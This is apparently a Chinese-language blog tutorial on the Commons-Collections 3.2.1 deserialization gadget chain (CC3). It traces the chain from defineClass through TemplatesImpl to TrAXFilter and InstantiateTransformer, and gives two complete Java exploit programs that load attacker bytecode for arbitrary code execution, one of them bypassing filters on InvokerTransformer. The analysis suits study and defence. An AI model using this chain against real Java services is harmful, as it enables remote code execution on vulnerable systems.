1、前言
- CC3利用类加载机制,动态加载恶意类实现恶意代码执行。(条件:Commons-Collections 3.2.1,Java 8u71及以下版本。)
- 绕过⼀些规则对InvokerTransformer的限制。使用com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
- CC3 的 sink 点在于 defineClass() 方法,但仅加载恶意类而不初始化时是不会执行代码的,还需要通过 newInstance() 操作来触发初始化。defineClass() 方法通常是 protected 类型的,因此必须通过反射才能调用。
在 Java 中,defineClass 方法通常通过 ClassLoader 类来定义一个类。它允许你在运行时动态地加载类,将字节流转换为 Java 类。Java 默认的 ClassLoader 中的 defineClass 方法是一个 native 方法,其实现逻辑位于 JVM 的 C 语言代码中。
2、sink分析
1.从ClassLoader类寻找defineClass()方法。这里有几个重载的defineClass()方法,我们寻找到此方法。
2.向上跟,存在一个内部类 TransletClassLoader ,继承了 ClassLoader并重写了 defineClass 方法。
3.继续往上找,TemplatesImpl的defineTransletClasses() 调用了,并在方法内对_class赋值。因为是私有方法,所以还得往上找。

4.这里找到TemplatesImpl的getTransletInstance()方法。这里对__class作了判断,为空就调用defineTransletClasses(),并且在下面调用 newInstance()。所以我们重点关注此函数。
5.此方法为private的,再往上跟 找到了public的newTransformer() 方法。到这里,结合CC1前半段,其实已经可以执行恶意代码了。使用InvokerTransformer方法调用newTransformer()即可。
6.但CC3是为了绕过InvokerTransformer的限制。所以我们需要继续往上跟。这里找到了TrAXFilter类。虽然这个类不能序列化,但是其构造函数里调用了newTransformer()。
7.到这里,再往上跟,没有什么结果。CC3的作者使用了一个新的类 InstantiateTransformer。这个类的transform方法的作用是:检查一个对象是否是 Class 类型的实例,并且如果是的话,使用反射机制通过构造函数实例化一个对象。
我们完全可以通过 InstantiateTransformer.transform() 获取 TrAXFilter类的构造函数并初始化,实现 templates.newTransformer()的调用。这真的太妙了。
所以,前半段结合CC1,整个利用链为:
AnnotationInvocationHandler.readObject()# Map.entrySet()
AnnotationInvocationHandler.invoke()# memberValues.get(member)
lazyMap.get()#factory.transform(key)
ChainedTransformer.transform()
InstantiateTransformer.transform()#TrAXFilter.TrAXFilter() //这里TrAXFilter()指构造方法
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()#_class[_transletIndex].newInstance()
3、POC
1.前面说到,其实跟链到TemplatesImpl.newTransformer()就可以成功执行任意代码了。在defineTransletClasses()中,_bytecodes和_tfactory不能为空,这样才能走到_class[i] = loader.defineClass(_bytecodes[i]);,在getTransletInstance()中,_name不能为空,而_class必须为空,所以现在只需要让_bytecodes、_tfactory、_name不为空,其中_bytecodes为我们的恶意字节码。

那么利用反射进行赋值,再调用其newTransformer()方法就可以加载字节码,执行恶意代码:
2.在TemplatesImpl.newTransformer()这里结合CC1前半段,就可以实现反序列化执行任意代码了。exp如下:
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class v1 = templates.getClass();
Field name = v1.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = v1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\workplace\\java_workplace\\tmp\\test.class"));
byte[][] codes = {bytes};
bytecodes.set(templates, codes);
Field tfactory = v1.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("test.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("test.bin"));
oss.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
} }
3.但我们之前说到。CC3的主要目的是绕过InvokerTransformer的限制。ysoserial作者使用TrAXFilter类绕过限制。那么现在只需要将上面的exp中
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null),
};改成:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};完整的EXP为:
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class v1 = templates.getClass();
Field name = v1.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = v1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\workplace\\java_workplace\\tmp\\test.class"));
byte[][] codes = {bytes};
bytecodes.set(templates, codes);
Field tfactory = v1.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
serialize(o);
unserialize("test.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("test.bin"));
oss.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}}
4、参考
https://github.com/phith0n/JavaThings?tab=readme-ov-file(P牛)
https://www.bilibili.com/video/BV1Zf4y1F74K/(b站白日梦组长)
评论(0)